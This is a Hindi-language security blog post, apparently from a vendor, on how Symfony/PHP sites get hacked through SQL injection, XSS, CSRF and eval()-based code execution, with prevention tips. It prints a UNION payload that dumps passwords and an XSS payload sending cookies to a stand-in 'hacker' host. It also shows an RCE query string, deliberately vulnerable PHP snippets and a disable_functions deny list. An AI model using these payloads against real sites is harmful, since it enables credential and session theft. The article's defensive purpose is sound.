सिम्फनी एक लोकप्रिय PHP फ्रेमवर्क है जो उपयोगकर्ताओं के लिए PHP वेबसाइटों और वेब एप्लिकेशन बनाना आसान बनाता है। अतीत में, ऐसे उदाहरण सामने आए हैं जब ड्रुपल सिम्फनी फ्रेमवर्क में एक खामी के कारण प्रभावित हुआ था। अंततः, इससे सिम्फनी वेबसाइट हैक हो गई। हालांकि यह कभी-कभी सिम्फनी फ्रेमवर्क की खामी थी, असुरक्षित विकास प्रथाएं भी आपके PHP वेबसाइट को कमजोर बनाती हैं। इस लेख के माध्यम से, आप जानेंगे कि महत्वपूर्ण कमजोरियां क्या हैं जो सिम्फनी वेबसाइट हैक का कारण बन सकती हैं और उन्हें कैसे रोका जाए।
सिम्फनी की लोकप्रियता इस तथ्य को जिम्मेदार ठहराया जा सकता है कि यह डिकूपल और उपयोग योग्य PHP लाइब्रेरी का एक सेट प्रदान करता है। ये लाइब्रेरी विकास को गति दे सकती हैं और इसे पूरी तरह से आसान बना सकती हैं। हालांकि, केवल सिम्फनी फ्रेमवर्क का उपयोग करने से ही आपके PHP वेबसाइट को सुरक्षित नहीं किया जा सकता। कंट्रास्ट सिक्योरिटी के डेटा के अनुसार,
सिम्फनी वेबसाइट हैक: लक्षण
- डेटाबेस में संदिग्ध तालिकाएं, अज्ञात उपयोगकर्ता और सिस्टम पर अज्ञात फाइलें सिम्फनी SQL इंजेक्शन का संकेत हो सकती हैं।
- मछली डोमेन पर रीडायरेक्ट करने वाले पॉप-अप और विज्ञापन सिम्फनी रिमोट कोड एक्जीक्यूशन का परिणाम हो सकते हैं।
- यदि उपयोगकर्ता अपनी सत्यापन के बिना आपके साइट पर खाता हटाने या डेटा के हेरफेर के बारे में शिकायत करते हैं, तो यह सिम्फनी क्रॉस-साइट रिक्वेस्ट फोर्जरी के कारण हो सकता है।
- सिम्फनी स्टोर्ड क्रॉस-साइट स्क्रिप्टिंग के कारण आपकी साइट पर बकवास सामग्री दिखाई देती है।
- सभी सिम्फनी वेबसाइट हैक के परिणामस्वरूप, खोज इंजन उपयोगकर्ताओं को आपकी साइट पर जाने के खिलाफ चेतावनी देते हैं।
सिम्फनी वेबसाइट हैक के कारण
सिम्फनी वेबसाइट हैक: SQL इंजेक्शन
सिम्फनी SQL इंजेक्शन एक प्रकार का हमला है जो मुख्य रूप से आपकी साइट के डेटाबेस को लक्षित करता है। उपयोगकर्ता इनपुट सैनिटाइजेशन की कमी साइट को कमजोर बनाती है जो तब सिम्फनी वेबसाइट हैक की ओर ले जाती है। उदाहरण के लिए, नीचे दिए गए कोड को देखें:
<?php
$query = "SELECT id, name, inserted, size FROM products WHERE size = '$size'";
$result = odbc_exec($conn, $query);
?>
यह एक सरल PHP कोड की तरह दिखता है जो एक SQL क्वेरी को निष्पादित करता है लेकिन, हमलावर इसका उपयोग SELECT SQL कमांड का उपयोग करके डेटाबेस से सभी पासवर्ड प्रकट करने के लिए कर सकता है। $size वेरिएबल को प्रदान किया गया इनपुट कुछ इस तरह दिखाई देगा:
'union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from user;--
निष्पादन पर यह कथन user नामक तालिका से सभी पासवर्ड सूचीबद्ध कर सकता है। इस कथन के अंत में प्रतीक '—' इस लाइन के बाकी कोड को टिप्पणियों में बदल देगा ताकि किसी भी त्रुटि से बचा जा सके। यह सिर्फ एक छोटा उदाहरण है, हमलावर इसका उपयोग आपके डेटाबेस में हेरफेर, संपादन और यहां तक कि हटाने के लिए विभिन्न तरीकों से कर सकते हैं। कुछ सिम्फनी वेबसाइट हैक मामलों में, SQLi का उपयोग रिवर्स शेल प्राप्त करने के लिए भी किया जा सकता है।
सिम्फनी वेबसाइट हैक: क्रॉस-साइट स्क्रिप्टिंग
XSS एक व्यापक रूप से पाई जाने वाली भेद्यता है जो उचित उपयोगकर्ता इनपुट सैनिटाइजेशन की कमी के कारण होती है। यह भेद्यता आमतौर पर खोज बॉक्स, संदेश बोर्ड आदि में पाई जाती है। XSS के कारण हैक की गई सिम्फनी वेबसाइट का उपयोग हमलावर कुकीज़ चुराने और इस प्रकार सत्र को संभालने के लिए कर सकता है। उदाहरण के लिए, निम्नलिखित कोड के साथ एक खोज क्वेरी तैयार करने से हमलावर को उस पर क्लिक करने वाले किसी भी व्यक्ति की कुकीज़ चुराने की अनुमति मिल सकती है।
"><SCRIPT>var+img=new+Image();img.src="https://hacker/"%20+%20document.cookie;</SCRIPT>
यहां '>' वर्ण पिछले टैग को बंद कर देगा। इसके बाद, image() कंस्ट्रक्टर 'img' वेरिएबल में एक नई छवि बनाएगा। अगली पंक्ति छवि के स्रोत को निर्धारित करेगी और उसी पंक्ति में, सत्र अधिग्रहण के लिए कुकी प्राप्त करने के लिए document.cookie विधि का उपयोग किया जाएगा।
यदि XSS स्टोर्ड या लगातार है, तो यह और भी खतरनाक है क्योंकि जब कोई संक्रमित पेज खोलता है तो यह स्क्रिप्ट स्वचालित रूप से कुकीज़ चुरा लेगा। जबकि, रिफ्लेक्टेड XSS सोशल इंजीनियरिंग हमलों पर निर्भर करता है। न केवल कुकी चोरी बल्कि XSS के कारण हैक की गई सिम्फनी वेबसाइट का उपयोग सभी प्रकार के फ़िशिंग हमलों के लिए भी किया जा सकता है! आपकी हैक की गई सिम्फनी वेबसाइट की मरम्मत में मदद चाहिए? अभी अपनी साइट साफ़ करें
सिम्फनी वेबसाइट हैक: क्रॉस-साइट रिक्वेस्ट फोर्जरी
CSRF का उपयोग हमलावरों द्वारा आपके पीड़ितों को अवांछित कार्य करने के लिए किया जा सकता है जैसे खाता हटाना, उपयोगकर्ता डेटा में हेरफेर करना, आदि। उदाहरण के लिए, जब कोई उपयोगकर्ता आपकी साइट पर लॉग इन होता है, तो नीचे दिए गए जैसे विशेष रूप से तैयार किए गए पेज पर जाने से खाता हटाने का परिणाम हो सकता है।
यह पेज उपयोगकर्ता खाते को हटाने के लिए 'delete' मान का उपयोग करेगा। हालांकि हमलावर CSRF का उपयोग करके विभिन्न हमले कर सकते हैं, लेकिन उनके लिए यह देखने का कोई तंत्र नहीं है कि वे सफलतापूर्वक निष्पादित हुए थे।
सिम्फनी वेबसाइट हैक: रिमोट कोड एक्जीक्यूशन
सिम्फनी का उपयोग करने वाली वेबसाइटों में खराब कोडिंग मानकों के कारण रिमोट कोड एक्जीक्यूशन होता है। उपरोक्त सभी हमलों में सबसे बड़ा सुरक्षा मुद्दा उपयोगकर्ता इनपुट पर भरोसा करना है। उदाहरण के लिए, PHP कोड में eval() फ़ंक्शन का खराब उपयोग इस तरह दिखाई देगा:
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
यह एक बहुत सरल कोड लगता है जो तर्क लेगा और स्ट्रिंग को PHP कोड के रूप में निष्पादित करने के लिए eval फ़ंक्शन का उपयोग करेगा। लेकिन चूंकि इनपुट फ़िल्टर नहीं किया गया है, हमलावर /index.php?arg=1; phpinfo() जैसे कुछ मान प्रदान कर सकता है जो phpinfo() फ़ंक्शन के कोड निष्पादन का कारण बनेगा।
सिम्फनी वेबसाइट हैक: सुरक्षित विकास प्रथाएं
- अपने सिम्फनी वेबसाइट पर SQLi हमलों को रोकने के लिए, तैयार बयानों (prepared statements) का उपयोग करें।
- अपने सिम्फनी वेबसाइट पर XSS हमलों को रोकने के लिए, htmlspecialchars() फ़ंक्शन का उपयोग करें। इसे तब लागू करें जब भी किसी उपयोगकर्ता इनपुट को ब्राउज़र पर आउटपुट के रूप में प्रदर्शित करने की आवश्यकता हो।
- CSRF हमले से बचने के लिए पेज में छिपे एक रैंडम टोकन को लागू करें जैसे: <input type=”hidden” name=”csrf” value=”<?php echo $_SESSION[“token”]; ?>”>
- RCE को रोकने के लिए php.ini फ़ाइल में इस PHP निर्देश के माध्यम से सभी खतरनाक फ़ंक्शन अक्षम करें: disable_functions = “show_source, system, shell_exec, passthru, exec, popen, proc_open, allow_url_fopen, eval”
- सार यह है कि अधिकांश कमजोरियों को आपकी सिम्फनी वेबसाइट में उपयोगकर्ता इनपुट पर भरोसा न करके टाला जा सकता है।
- यदि आपको संदेह है कि आपकी वेबसाइट पर कोई कमजोरियां छिपी हो सकती हैं, तो पूर्ण सुरक्षा ऑडिट के लिए जाएं।
एस्ट्रा
हमारे मशीन-लर्निंग संचालित मैलवेयर स्कैनर और बुद्धिमान फ़ायरवॉल के साथ, आपकी वेबसाइट सुरक्षा अधिक कठोर हो जाती है। यह सब एक किफायती कीमत पर आता है क्योंकि योजनाएं छोटी वेबसाइटों को भी पूरा करने के लिए लचीली हैं। अभी एस्ट्रा वेब प्रोटेक्शन फ्री ट्रायल प्राप्त करें!
